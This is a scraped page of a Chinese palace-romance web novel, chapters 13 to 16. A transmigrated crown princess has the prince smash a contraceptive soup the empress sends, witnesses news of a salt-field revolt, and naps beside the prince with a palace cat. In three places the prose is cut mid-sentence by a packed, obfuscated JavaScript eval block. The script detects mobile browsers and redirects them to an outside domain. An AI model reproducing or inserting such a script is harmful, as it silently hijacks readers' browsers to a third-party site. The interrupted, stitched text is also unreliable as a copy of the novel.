RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15467200|168546||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能不能报工伤。 之前的紧张感已然尽数褪去,皇宫庄严又如何,长得漂亮又如何,人还是那些人,翻来覆去也终究是台心照不宣的戏。 秋绪撇开头去,却在顾玉初淡漠的侧脸上瞧见了然的神色。 怪不得他一进皇宫就变脸,原来这不是冷肃,而是淡淡的死感。 她理解的,谁在这种地方上班都会很想死的,而他甚至是在这种氛围中成长起来。 个中滋味,不敢细想。 最终,帝后对他们处以禁足三日的惩戒,也不过是走个过场,因为他们前脚刚跨进东宫的门,魏衡帝的赏赐后脚就到了。 秋绪领罢,还没回到昭明殿,兰心就匆匆截住她,耳语道:“殿下,凤宁宫遣了尚食局奉御卢公公来,说皇后娘娘体恤殿下辛劳,特赐补汤一盏,现候在偏殿茶室外。” 真是做戏做全套,梁皇后要真想送汤,刚刚就该直接留饭,现在又来摆什么谱? 那卢奉御眉间细纹聚成个川字,见到秋绪后,一丝不苟地跪下叩头道: “太子妃殿下金安,奴尚食局奉御卢临,传皇后娘娘口谕:‘太子妃初入宫闱,侍奉储君劳顿,特赐益气归元汤一盏,以固本培元,望妃勤谨自持,毋负天家厚望。’” 言罢,身后的小宦官上前一步,捧着朱漆托盘,食盒内放置装汤的白玉碗。 兰心接过碗,试毒无碍,这才呈至秋绪面前,她端起轻轻一嗅,味道有些怪异,正疑惑呢,便听兰心低语:“殿下,这是避子汤。” 秋绪:“……” 那梁皇后可真是多虑了。 不过她也明白,梁皇后不过借汤警告敲打罢了——这些皇家人真够讨人厌的,向来不有话直说,非要下面人悟来悟去,堪称精神霸凌。 梁皇后的言下之意已经很明显。 要是如原著的剧情发展,秋绪此时还被梁家抓在手里,梁皇后尚能明面上扮演个好姑姑。 但她如今在东宫被剪断羽翼,又发生砸锁一事,梁皇后估计怀疑她已转投太子阵营。 梁家或许需要皇太孙作保命符,可对育有两个皇子的梁皇后而言,东宫若添了嫡子,她亲子夺嫡的路便会多出一道天堑。 这碗汤分明是在试探,测她对太子有几分真心,又有多少反噬娘家的狠劲。 ——说出来都没人信,她两者皆无。 可是秋绪这一番犹豫踟蹰,落在旁人眼中,怕是另有其意,卢奉御见状,再次伏地,恳切道:“娘娘千叮万嘱,务要奴亲见殿下用尽,方得回禀凤宁宫。” 秋绪被这话堵得无计可施,一时无奈,想想还是将白玉碗贴上唇边,心道就这一回应该不会对身体有什么伤害吧…… 就在正要轻抿之时,手中的碗却冷不丁被人猛然夺去,惊了她一跳,抬眸便是顾玉初冷漠到甚至有些凶煞的面容。 窗棱间照射进来的夕阳余晖,恰如其分地给他半边侧脸镀上金红色的柔边,却没有软化半分他身上刀锋似的戾气。 秋绪惊愕地连呼吸都在这一刻悄然凝滞,目光如被磁石吸引般,紧紧追随着他的动作——他毫不犹豫地将那白玉碗往地上狠狠一摔! 刹那间,清脆的破碎声轰然炸开,瓷片纷飞的,汤汁溅落一地。 “倒要劳烦卢奉御回去禀明。” 玄色靴子碾过碎瓷,发出沉闷的声音,顾玉初踩着这一地狼藉,稳稳当当地挡在秋绪身前。 他目光如炬,唇角勾起,笑得她毛骨悚然:“就说——孤与太子妃嬉闹时失手打翻,倒可惜了母后这片心意。” 14.徒有其表 “殿、殿下……”卢奉御瞧见顾玉初隐隐有动怒之态,登时面色煞白如纸,手指颤抖,他慌忙匍匐于地,将梁皇后抬出来作挡箭牌,“奴奉娘娘懿旨来送汤药,殿下这般......叫奴如何回禀?娘娘再三嘱咐,定要太子妃饮尽......” “怎么?是孤方才说得不够清楚吗?”顾玉初截断他的话音,“还是说,如今这东宫,已经轮到你来指手画脚,竟要骑在太子妃头上了?” “万万不敢有此心!”卢奉御额头抵在绒毯,瞥见泼洒一地的汤药,知道再纠缠下去也无济于事,于是赶忙叩首道,“奴复命去。” 话音未落,他便拽着小宦官倒退着往外挪,直走到廊下,方敢转身疾走,很快连脚步声也听不见了。 顾玉初收拾完外人,骤然一个转眸,目光如刃直直刺来,给她吓得浑身一震,脱口而出:“对不起……” 他质问道:“他给你,你就喝?” “我、我当时没想那么多。”秋绪本就惊魂未定,此时更是双眸圆睁,满是无措地望向他,像只受惊的兔子,结结巴巴地辩解道,,“那汤是长辈所赐的补汤,名头冠冕堂皇,我实在找不到推拒的理由……” “你如今是太子妃!”顾玉初字字重若千钧,“只要这个名分还在,东宫之内,无人能逼你做不愿之事,拒便拒了,何须理由?” 秋绪本就懊悔,思绪辗转,最终化作满心的无奈:“殿下,此事确是我的过错,但你我都明白,我这身份不过是徒有其表的空架子罢了。” 顾玉初之所以能对梁家嗤之以鼻,靠的是手中握着的权势啊。 “哦?原来在你心中,是这般想的。”他闻言骤然逼近,语气冷厉,“若明日梁皇后要你饮杯鸩酒,你也这般低眉顺眼任人摆布?由着凤宁宫把手伸到东宫来,弄得天翻地覆,乌烟瘴气,你也不管不顾?” 说罢,顾玉初拂袖转身,大步离去,似乎已经不愿听她说话。 秋绪赶忙提着裙摆追出两步:“你别生气,我真不是这意思……”刚跨出门,就见他的衣摆已经拂过游廊拐角,消失不见。 她蓦然停住,张张嘴却再没有出声,下意识咬住下唇。 思来想去,他们之间这场矛盾的根源,大抵在于立场并不全然一致,且今日之事她处理的确实有欠妥之处。 原本温软的性格使然,她的潜意识里总想着息事宁人,端起汤碗的短短时间,哪里能料到这碗汤竟会酿成如此后果。 此事看似鸡毛蒜皮,可顾玉初这般有着强烈自尊之人,如何能容忍杀母仇人在东宫聒噪不休? 但她的妥协,无异于当众折了东宫颜面。 秋绪倚在茶室的门框上,望着空荡的游廊发怔片刻,终究只落下轻轻叹息。 唉,仅仅一日之间,她便因两个梁家人,与顾玉初闹得心生龃龉,真是让人发愁。 一时无计可施,秋绪只能先折返昭明殿。 推开朱漆门,她一眼便瞧见上回还搭着木架的银杏树下,已经悬挂着完工的秋千。 她坐上秋千悠然荡起来,心情稍稍好些。 一阵风拂过,银杏叶子飘飘洒洒,轻轻擦过她的发梢耳畔,打着旋儿落至脚下的水池中,几尾鲤鱼以为有人喂食,纷纷聚拢,试图叼住那些叶子。 秋绪将额头抵在秋千裹着绸带的绳索上,望着鱼群追逐碎叶,突然没头没脑地问道:“兰心,你家主子……” 话到嘴边又转了个弯,半晌才问出来:“他平时生气,一般气多久啊?” 兰心被这孩子话逗得偷偷一笑,随即温柔道:“这要奴怎么说得准?殿下莫要难受了,今晚膳房新炖了老参鸡汤,煨得骨酥肉烂,殿下可要尝尝去?” “鸡汤?”一听有吃的,秋绪的眼睛瞬间亮了,当即抛起那些愁肠百结,速速跳下秋千,急切催促道:“快快快,咱们走,这鸡汤可放不得,凉了就不好喝了。” 热气腾腾的瓷盅掀开,秋绪大快朵颐,不仅将汤喝完,还将整只鸡啃得干干净净。 这些时日,他们马不停蹄地赶路,她还晕车晕得厉害,吃什么吐什么,直至今日,才算享用了一顿佳肴。 往后的三日禁足,倒也清净,虽然对秋绪来说,这和之前的日子并没有什么区别。 每日皆是睡到自然醒,用完美味早膳,就出门溜达荡荡秋千逗逗画眉,再转道去书房,翻几页兰心从枕洲坊间买来的新话本,日子别提过得多惬意。 只不过,她偶尔会微微一顿,朝着紫宸宫的方向看去,也不知顾玉初是否还在气头上,亦或是事务繁杂,已将那事忘于脑后。 直到夜幕降临,秋绪卧于榻上,辗转反侧后突然抱着被子坐起。 她盯着眼前的虚空,沉默片刻,突然出声问系统:“他这两日,根本不在东宫对不对?” 系统并未直接回答,而是光影闪烁,一幅画面缓缓浮现,又是微电影模式。 秋绪一眼就认出上回在盐场向顾玉初汇报情况的暗卫,只见他神色匆匆,抱拳禀报道:“殿下,盐场的壮丁们皆已信了征军的谣言,如今场内人心惶惶,动荡不安。” 果然…… 她藏在被子里,暗自思忖。 盐场的事态竟发酵得这般快,怕是很快又要掀起一场风波。 次日清晨,秋绪才将将拢衣起身,便听见外间传来桃溪叩帘的声响,说凤宁宫遣人传召,梁皇后要她去说说话。 她心下一紧,梁皇后这是要来真章了? 虽然百般不愿,可哪有太子妃推拒皇后宣召的道理?该去还是得去,走一步看一步吧。 兰心与桃溪悉心为秋绪梳妆打扮停当,将她送到了凤宁宫门前。 行至此处,二人便不能再踏入内宫。 秋绪刚跨过门槛,没走几步,突然听见身后传来欢快的脚步声,还未回头,便听见少年清亮的嗓音响彻游廊:“阿姐!你也来了!” 她转过身,只见一位身着天青色骑装的少年正兴致勃勃地飞奔而来,那高束的马尾随着他的动作在脑后肆意翻腾,双眸黑亮有神,活脱脱像一只活力四射的金毛狗。 能如此亲昵唤她姐姐的,定是梁世子的嫡子梁翊辰无疑。 “哎哟,表少爷,仔细摔着。”引路嬷嬷哪里能跟得上梁翊辰的脚步,这会儿才气喘吁吁地赶到,“娘娘巳时正便要去商议政事,太子妃殿下和表少爷,还是快快前去请安吧。” 这话倒是提醒了秋绪,凤宁宫建于前朝北侧,本就是为了方便梁皇后处理朝中政务。 三皇子正值即将开府另立门户的年纪,而梁翊辰曾是他的伴读,此次进宫,想必是来找三皇子游玩,这才与她碰了个正着。 她不禁轻叹,到底是梁家子弟,进出宫禁如同在自家后园闲游一般随意。 秋绪不大清楚原主与养家弟弟的相处模式,只能尽量地寡言少语,生怕言多有失。 她轻轻颔首,柔声回应:“嗯,母后唤我过去说说话。” 梁翊辰三两步便赶上她,放慢步伐与她并肩同行,走着走着,还凑来仔细一看她的耳畔:“阿姐的耳坠好漂亮!对了,去岁生辰我送的白玉珰怎不见你戴过?” 秋绪下意识退半步,有些不敢直视他那如小狗般明亮且充满期许的目光,轻声说:“戴过了,你没见着罢了。” “那就好!”梁翊辰笑开,露出两颗调皮虎牙,“我还以为阿姐不喜欢呢!” 少年身上蓬勃的朝气,消融了两人之间的隔阂,倒真像寻常姐弟般并头私语。 秋绪侧首,目光在他身上轻轻一瞥,心中满是惊奇,梁家上下皆是心思缜密之辈,怎么这梁世子的嫡长子,却生得这般天真无邪,面上全然不见对上一辈恩怨的半点知晓,活得如此纯粹。 他悄悄靠近,压低声音说:“阿姐,自婚礼之后,咱就没见过了,太子可欺负你了?” 秋绪望着眼前这单纯的少年,终究是说不出什么重话,只摇摇头道:“太子那臭脾气一贯如此,算不得欺负我。” 二人随意闲谈几句,不知不觉已踏入殿内。 梁皇后正半倚在贵妃椅上,双目轻阖,身旁女官柔声读着奏折。 见二人进来,女官便停下话语,温言禀道:“娘娘,太子妃与梁小少爷到了。” “给母后请安。”秋绪规矩地行礼。 梁皇后眼皮一抬,招手示意他们落座,宫人端上茶点来,她才又说:“辰哥儿倒是又长高了。” 梁翊辰已经开始毫不客气的捧着桃酥饼往嘴里塞,闻言嘻嘻一笑:“那是自然,下回见面,就能超过三殿下了!” 梁皇后不禁莞尔,转而关切地问起家中长辈:“老夫人风湿可好些了?上月送去的血燕可按时用着?” 梁翊辰生性活泼跳脱,平日里也与姑姑亲近,此刻便咋咋呼呼地将家中情形一一作答。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15473241|168546||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 秋绪插不上话,便静坐一旁,垂眸研着茶沫,拈一颗蜜饯慢慢嚼着,听着这对姑侄的话题,从老夫人举着拐杖追着他打,讲到近日秋雨绵绵,没一天能出去跑马的抱怨。 显然梁皇后很喜欢这侄儿,被他的话逗得合不拢嘴,罢了才正色道:“上月谢翰林夸你策论不错,但切莫因秋闱中举便骄矜自满,来年二月春闱才是关键。” 梁翊辰倒不甚在意:“先生说若春闱保住这口气,我这年纪入翰林也是有的。” 秋绪险些被蜜饯呛着了,敢情这小子是个十六岁的举人老爷? 要知道,于寻常读书人而言,三十岁前中举已堪称人中翘楚,而梁翊辰年仅十六,初次试水便高中举人,这程度更是凤毛麟角。 她忍不住偷偷打量他,实在难以将眼前这活泼的少年郎与卓越的才学联系起来。 “莫要耍贫嘴。”梁皇后嗔他一眼,“你若当真用功,怎会这时辰在宫里乱窜?” “姑姑有所不知,近日书院正在扩建,故而停课三日,我这才来呢!哎呀,不跟姑姑说了,今儿难得天好,我得赶紧去找三殿下了!” 梁翊辰说着,迫不及待地抽身溜走,又扭头唤道,“阿姐你要不要来——” 梁皇后摆了摆手,温声道:“你自去便是,本宫有要事与你姐姐相商。” “既如此,那我下回再来探望姑姑。”梁翊辰匆匆与她们作别,转眼便没了踪影。 秋绪望着他跑远的背影,脑海里还残留着那道清澈的目光。 她心里蓦的泛起感慨,竟有些悟到皇帝自称“孤家寡人”的分量,在原著里,原主为了登上至尊之位,终究还是与梁翊辰反目成仇。 可如今亲眼目睹他们二人关系这般要好,她实在难以想象,彼时的原主,究竟是怀着怎样复杂的心绪,将多少辗转难眠化成决绝,才能狠下心来对他痛下杀手。 这条路,无对无错,唯余漫漫孤寒。 待那唯一活泼灵动的孩子离去,殿内刹那间陷入落针可闻的寂静。 梁皇后的眸光悠悠扫向秋绪,只这一眼,便让她背上瞬间泛起一层细密的鸡皮疙瘩。 终于,轮到她了。 梁皇后慢悠悠地抿一口杯盏中的茶水,漫不经心地说道:“汪河在狱中自尽了。” 秋绪闻言,呼吸一顿。 汪河此前言辞间尽是要把梁世子牵扯进来,如今身陷牢狱,必然会被梁党之人暗中除去。 秋绪虽也能揣测到其中的利害关系,但冷不丁听梁皇后这般挑明,仍是不由得有些心惊。 这“自尽”,可说的忒轻巧了。 “母后英明。”她定定心神,神色淡然地开口道,“确实该当如此,那日若非他当众攀扯父亲,一直出言不逊,臣妾也不会砸锁。” “真真儿是个蠢货。”梁皇后轻揉眉心,半晌幽幽叹了口气,“算了,不过是损失个屯货的仓库,只要船帆未折,火膛不冷,到底算不得伤筋动骨。” “不,母后。”秋绪思忖至此,忽而抬眸道,“航线怕是出了岔子。” 梁皇后顿时投来怀疑的目光:“何出此言?” 秋绪暗自松口气,仍是心跳如擂。 ——赌对了,那夜星河坠江的消息,果然还没送到凤宁宫。 “那日臣妾会出现在仓库,不过是给太子做了筏子,只是,后来臣妾在客栈得知码头有巨船倾覆的传言,不知是否与父亲的兵船有关。” 她目光闪烁,故意停顿片刻,“只是臣妾一直被软禁,这些坊间传闻,倒做不得真。” 秋绪有意说得含糊其辞。 既然梁皇后对此事一无所知,想来是魏衡帝有意封锁消息。 而在枕洲本地,那日夜里的景象可是一桩轰动之事,众多人都亲眼目睹,她略有所闻,倒也不算告密。 梁皇后听罢,顿时锁紧眉头,尚未来得及追问,便被闯入的侍卫截断话语,他惊慌失措地大喊:“娘娘,娘娘,大事不妙!” 女官当即斥道:“放肆!好好说话!” “枕洲盐场暴动!”侍卫根本顾不得喘气,“兵船沉了,被捕的水师人证,连带着汪河临死留的带手印的证词,皆指证世子,刑部此刻已押人入狱!” 梁皇后瞳孔紧缩,失手松落掌中茶盏,一时间茶水四溅。 而秋绪闭目屏息。 终于,等到了这场连环爆响。 15.咪萨下凡 梁皇后似是未曾料到,短短时日里,竟风云变幻,诸多事端层出不穷。 她有些惊讶,姿态却未露慌乱,幕后黑手的身份昭然若揭——顾玉初行事光明磊落,简直是公然下战书,谈不上黑不黑。 可心知肚明又如何,桩桩件件仍需她费尽心力去了解应付。 梁皇后深吸一口气,目光如剑地转向秋绪,对这不中用的马后炮似有迁怒之意。 秋绪脊背一凛,恰到好处地露出一个惶然欲碎的眼神,向梁皇后看去,好似这是她唯一的主心骨那般,可以尽情地期盼依赖。 她焦虑地探前半步,又克制停下:“母后,父亲那边该如何是好?” 此番动作,倒将梁皇后的斥责堵了回去,她稍加思索,忽而发觉秋绪也实属无奈。 自嫁入东宫,她便断了外界音讯,前日觐见,当着皇家父子面儿,自然无法吐露实情,三日禁足又是梁皇后自己亲口下令,哪怕是今日,却遇到梁翊辰在场,更无解释之机。 如此想来,秋绪已然在能开口之时,第一时间告知了她此事。 梁皇后闭闭眼,将那口气硬生生吞了回去。 · 未久,秋绪信步走出大门,将那乱成一锅粥的凤宁宫远远抛在身后,简直像电影中从不回头看爆炸的超级英雄。 她功成身退,当然,此功非彼功,她所做的一切努力,不过是为了让咸鱼般吃了就睡的生活能波澜不惊地继续下去。 抬眼一看,果然天朗气清,正如梁翊辰所言,这般晴光,正是出游的好天气。 她与一直在凤宁宫外候着的兰心桃溪会合,乘上软轿,转道回东宫时,忽然听见身后有马蹄叩击青石板的声响,竟是去而复返的梁翊辰与三皇子,正风驰电掣纵马而来。 秋绪一时有些警觉,不知他们是否已经知晓梁世子之事,要找人发作,她想避开,可遇到皇子,需得互相见礼,实是避无可避。 于是她扶帘下轿,一抬脸,正与翻身落地的三皇子对上眼神。 他与梁翊辰年岁相仿,小麦色脸庞洋溢着猎猎英气,眉宇间却遗传梁皇后的明媚夺目,见她行礼时,还要做出世家公子的文雅模样:“表姐万安。” 显然这位也更亲近梁家,若非必要,绝不称呼她太子妃。 秋绪正要开口,却被梁翊辰打断:“阿姐!饕餮楼刚出炉的云花糕,回去赶紧尝尝!” 他拽出一篮子点心塞给她,而后再次匆匆翻身上马,手握缰绳,兴致盎然地再次打断秋绪张口欲言的话: “阿姐不用道谢!咱俩谁跟谁啊,不说了,我们要赶去野外猎兔子,等有了战利品,回头便派人给你送去!” 言罢,他猛地一勒缰绳,掉转马头,马蹄翻飞,在漫天扬起的烟尘中疾驰而去,又给秋绪堵了个没话。 秋绪:“……” 亲爹都被抓了,你小子还去逮野兔。 算了,显而易见他回家也帮不上忙,能快乐一会儿是一会儿吧。 秋绪望着很快便消失不见的身影,方将那篮子递给兰心,让她仔细检查,以消疑虑。 回到昭明殿后,兰心小心地将篮子里里外外仔细查验后,确认这不过是一份寻常糕点,是不久前从饕餮楼购置而来,既未暗藏任何信息,也无毒害之虞。 待她折返寝殿,正撞见秋绪指挥着宫人,将屋内的紫檀美人榻抬至院子里的树荫之下。 不得不说,论品鉴闲适之道,阖东宫怕是无人比得上太子妃。 只见她舒展地躺靠在美人榻的云枕上,手中捧着尚未看完的话本,旁边的案几上,瓷碟托着饕餮楼的云花糕,还有一杯雾气袅袅的碧螺春。 如此一景,镶嵌进斑驳的秋日光影里,那惬意之感,难以言表。 “喵呜~喵呜~” 秋绪正聚精会神地翻书页时,忽然听见细碎的小猫叫唤声。 她放下书卷,四处张望,片刻发现不远处的屋脊之上,端坐着一只色彩斑斓的长毛三花猫,它逆着光,身姿优雅,看着像是一位浑身发光的猫中仙女。 秋绪星星眼:“哇,咪萨下凡。” 那猫儿与她对望片刻,忽而弓背,纵身一跃,三两下便轻盈地跳上了美人榻。 桃溪连忙扶稳被猫猫大尾巴扫晃悠的茶壶,笑说:“殿下这是第一回见咱们的镇宫之宝,踏雪老祖宗,算来也有十七岁了呢。” 踏雪一看就是被精心养着的小猫咪,一身毛发柔软顺滑,四只小爪爪白地似雪,昂首挺胸的模样健康又漂亮,哪见有任何垂暮之态? 秋绪伸手,给踏雪嗅嗅她的气味,小猫儿鼻尖颤动,很是自来熟地将毛茸茸的脑袋往她掌心一顶,娇娇地叫唤一声,轻轻一个抬眸,宝石般的眼睛一瞬不瞬地凝视她。 “踏雪,你喜欢我吗?”她从来没听过自己夹成这般柔情蜜意的声音,“你可以跟我贴贴吗?” 踏雪当即更进一步,靠近秋绪后,发出轻柔的咕噜声,然后蜷成一团毛茸茸的球球,毫不客气地窝进她怀里,香香的小脑瓜蹭着她的胸口,大尾巴在她的腰间一甩一甩。 秋绪欣喜若狂!心花怒放!笑逐颜开! 她以前就可喜欢小猫了,但因为身体不好,实在养不得,只能在网上关注了许多可爱小猫的账号,每天和皇帝批阅奏折似的,欣赏她云养小猫的快乐日常。 这还是她生平第一回抱猫儿,小家伙柔软得像一朵云,轻盈地落在她怀里,她哪里还忍得住,抱着踏雪亲了又亲。 “谁是这个世界上最漂亮的小猫呀?”秋绪把脸埋进踏雪肚皮软乎乎的绒毛里,任那尾巴在她脖颈间轻扫,“是踏雪!踏雪最漂亮啦!” 踏雪细细叫唤一声,显然赞同,而后亲昵地蹭她鼻尖,碧色眼瞳在阳光下竖成一条线,漂亮得让人移不开眼。 秋绪就这么抱着暖烘烘还会呼噜的小家伙,一直絮絮叨叨地说着话,不知不觉间,竟然一同陷入午睡的甜梦中。 故而,当顾玉初踏入院子时,映入眼帘的便是秋绪怀拥踏雪,正酣然沉眠的景象。 近些时日,他着实忙得分身乏术,尤其是最重要的今日——汪河自尽,沉船消息抵达,盐场暴动,梁世子入狱。 焦头烂额之际,阿山却同他说,踏雪不知怎的跑去太子妃院子里去了,他这才想起来该给秋绪送药这茬儿。 他思索片刻,得益于提前布置,今日的种种大事他都不需要亲至处理,如此倒能在这百忙之中偷得一丝闲暇,去秋绪那儿走一趟。 迈进昭明殿,他踩过前院肆意铺陈一地的银杏叶,脚下簌簌作响。 听说秋绪特意吩咐宫人不必扫掉,说是荡秋千时,看着这景色格外漂亮。 他不经意地朝秋千架投去一瞥,未发一言,倒是想起上回与她不欢而散的争执,不禁眉头一皱——她那“雨露均沾”的做派,如一场缠绵不绝的梅雨,黏腻拖沓,无端惹得人浑身不痛快。 其实,那日顾玉初转身离去时,听见秋绪追来,他心中一动,本想回头,那脚步声却蓦然停滞,好似被无形丝线陡然扯住。 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15478432|168546||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 犹豫一瞬,仍是放不下颜面,脚步便没有停,还是决然离开了。 也不知她当时会是怎样一副垂头丧气之态。 顾玉初这般想着,踏入院门,瞧见秋绪的第一眼,就打消了这个念头。 果然是白操心,她哪儿会亏待自己,大白天都能睡得这般没心没肺。 这会儿,兰心抱着薄软的毯子,正要为秋绪覆上,转眼望见缓步走来的太子殿下,便想要唤醒秋绪。 顾玉初抬手,无声地阻止她的动作。 他将那小瓷瓶放在小茶几上,本欲直接转身离去,却被从美人榻上突然滑落的话本绊住了脚步。 他垂眸,看看书卷,竟发现衣摆也被她垂落在榻边的手腕挂住,停顿片刻,他摆摆手遣退了周围的宫人,而后撩袍,在美人榻的边沿落座。 踏雪机敏,早就听出主人的脚步声,此时用温热鼻头蹭蹭他的手背,算作招呼。 顾玉初熟稔地捏捏猫儿后颈,又抚摸柔软绒毛,目光却落在秋绪的脸上。 她睡得毫无防备,长睫细颤,脸颊上压出绫罗的褶皱印子,发髻也凌乱不堪,簪子松动,将坠未坠。 他忽然注意到,她鼻梁上竟有一颗小痣。 奇怪,原先那人也有吗? 仔细回想,似乎是没有的。 这一微小却独特的发现,就好像在辨认双胞胎时,那独一无二的关键特征。 有些事,着实令人费解。 秋绪与先前那人分明有着如出一辙的面容,偏生从骨相里迸发出全然不同的灵动鲜活。 他一眼便洞悉,这是判若天渊的两个灵魂。 踏雪蓬松的大尾巴左右摇摆,不经意间,扫到秋绪的鼻尖。 秋绪皱皱鼻子,似乎有些痒,可也没醒,只是下意识地伸出手,将踏雪再次抱紧怀中,还依恋地蹭蹭,将脸颊贴在猫儿暖烘烘的软毛里。 踏雪也乖巧温顺,并不挣扎,亲昵地依偎着她,眼睛忽闪忽闪,澄澈的目光望向顾玉初。 一人一猫四目相对,顾玉初忽而挑眉,这脾气刁钻的小公主,竟然对太子妃这般喜爱? 他轻轻一笑,松懈紧绷的脊梁,斜倚榻上。 长久以来的疲惫与焦灼,都在此刻有些许松动,秋阳淌过眉头,他缓缓闭上眼睛。 秋绪在半梦半醒的混沌之际,恍惚间只觉得怀中的猫儿调皮得很,似乎是一心要挣脱怀抱。 她下意识地伸手去捉,妄图将那不安分的小家伙牢牢拢在臂弯中。 扑腾片刻,她蓦地一惊,这三花猫怎么变得那么大了?柔软的触感也消失,取而代之的是硬邦邦的感觉。 她迷迷糊糊地轻揉慢捻抹复挑,越摸越觉得蹊跷,半晌惊觉,这哪里是什么猫咪,分明是人类的身体啊! 指腹下分明是谁紧实的腹肌,线条刚劲有力,每一处起伏都恰到好处,手感绝佳,再顺着往上,胸肌轮廓也充满力量感,以及修长的脖颈,和棱角分明的下颌。 这身段,当真是世间难寻的极品! 等等。 好像不对。 她感叹一半及时刹车,依稀想起自己好像在院子里的美人榻上,抱着踏雪睡午觉。 那么,旁边这人哪儿来的? 巨大的危机感袭来。 不会吧。 不会吧,不会是她想的那位吧? 秋绪顿了一下,猛地睁开眼睛,一抬头就对上了顾玉初的死亡视线。 秋绪:“……” 啊!好想去死啊! 16.臭不要脸 为什么?! 秋绪想质问苍天,诘问大地,斥问顾玉初,你为什么在我榻上?! 又来用美人计考验她是吗? 啊啊啊这招真该死的好用啊,她怎么能次次都难以招架!果然还是上辈子男人见得少了。 愤怒思绪至此,她竟然还下意识又捏了一下他的腹肌。 嘶——中计也是人之常情啊! 顾玉初垂眸,眯了眯眼:“尽兴了?” 秋绪:“……” 她鼓起这辈子最大的勇气,再次闭上了眼睛——没错,她就是属鸵鸟的——然后慢慢地、慢慢地、慢慢地把手收回来,动作粘稠得仿佛空气里有胶水。 结果被顾玉初一把抓住后撤的手。 “哎呀,且慢!”慌乱之中,秋绪一把按住他的手背,义正辞严道,“殿下,我们是合法夫妻,摸一下应该没事吧?” 顾玉初嗤笑一声:“这个时候想起我们是合法夫妻了?那既然如此……”他开始慢慢地摩挲她的指节,“……应该没事吧?” 一如上次在马车上的情景,他握着她的手,用恰到好处的力度,一寸寸碾压过指间,连带起一片酥麻。 秋绪正欲挣扎,下一秒就僵住了。 不行,和他离得太近了。 这美人榻着实宽敞,一人安睡自是绰绰有余,可如今两个成年人挤在一处,难免逼仄,她现在随便一动,就会碰到他。 一时间,秋绪全身紧绷如弦,连吞咽的声响都觉得震耳欲聋,偏偏能清晰地感触到他炽热的体温,正丝丝缕缕地缠上她的肌肤。 不是,殿下,咱这有点暧昧了殿下。 秋绪强作镇定,迫使自己眼观鼻鼻观心,在客观层面尽量做到灵肉分离,但那些上不得台面的念想却如熬煮糖浆,满脑子黏黏糊糊。 ——他好烫,好烫。 ——以往离远了看倒不觉他有这么大只。 ——兄弟你好香,这到底什么药引子,给他腌入味了。 ……算了,不能再想了,这些乱七八糟的东西真是不得了。 顾玉初浑然不觉她的天人交战,自顾枕着胳膊仰面而卧,再次闭上眼睛。 秋绪煎熬片刻,忽然察觉手上钳制松懈。 他的手没动静了。 她转眸看去,他似乎已经沉沉睡去,这睡颜倒是意想不到的温驯,平日里锋利凶煞的眉眼,此时都柔化成远山雾霭。 机会来了! 秋绪再次尝试偷偷将手慢慢抽回。 下一刹,指尖便被猛然攥紧。 顾玉初闭着眼睛,声音疲惫嘶哑:“别闹。” 她又鹌鹑似的不敢动了。 哎,好吧。 秋绪接受了现状。 平心而论,她也觉得这双手生得极好,柔弱无骨,青葱如玉,捏起来手感肯定不错。 前两日桃溪还为她染了胭脂色的蔻丹,那更是美不胜收,如含苞待放的花骨朵,就算是她自己,也会时不时停下正在做的事,抽空欣赏一番新做的美甲。 如此精雕细琢的艺术品,让他爱不释手也是情理之中。 那便让他握着吧,横竖她也占过了便宜。 秋绪哄好自己,大松一口气,迅速放弃挣扎,索性将错就错地贴紧他结实的手臂。 然后抢先一步睡着了。 也不知过了多久,秋绪被踏雪踩醒了。 踏雪倒不是故意要踩她,但显然是故意要踩顾玉初,否则不会瞄准他的胸口就一跃而上。 这突如其来的动静,惊得睡梦中的秋绪下意识收拢胳膊,方惊觉她的小臂正扣在顾玉初劲瘦的腰腹间,像是树袋熊般紧箍着他。 两人长发交叠,她的月白裙摆早与他的玄色锦袍缠在一处。 嘶—— 秋绪还不适应与人如此亲近,在意识到的时候就本能后撤,身子骤然后仰,脑瓜却啪的一声磕上美人榻的雕花围栏。 她哎呦一声,睡眼惺忪地坐起身来,迷迷瞪瞪地揉着被撞疼的地方。 踏雪见秋绪醒了,跑来蹭蹭她的手臂,娇气地“喵呜~”了一声。 她极为顺手地将猫儿抱起,在那毛茸茸的脑袋上落下一吻,脸埋进蓬松毛毛,嘴里还发出一些夹里夹气意味不明的逗猫死动静。 和踏雪好一番亲热后,秋绪想起来刚才的事故,这才偏头看一眼顾玉初。 他倒是没什么反应,闲适自然得很,拈起一枚云花糕往嘴里送,另一只手执着她的话本,正看得全神贯注。 那话本的封面上,赫然写着几个大字《恨海情天,奸臣掌心娇》。 哇!她的古早狗血追妻火葬场小说! 顾玉初慢条斯理又翻过一页,促狭地笑道:“兰心说你天天沉迷话本,不想竟是这么个消遣法儿。” 那咋了! 她就爱看! 况且之前她学习历史法律书籍的时候怎么不见他来游荡,研读文学名著的时候也不见人影? 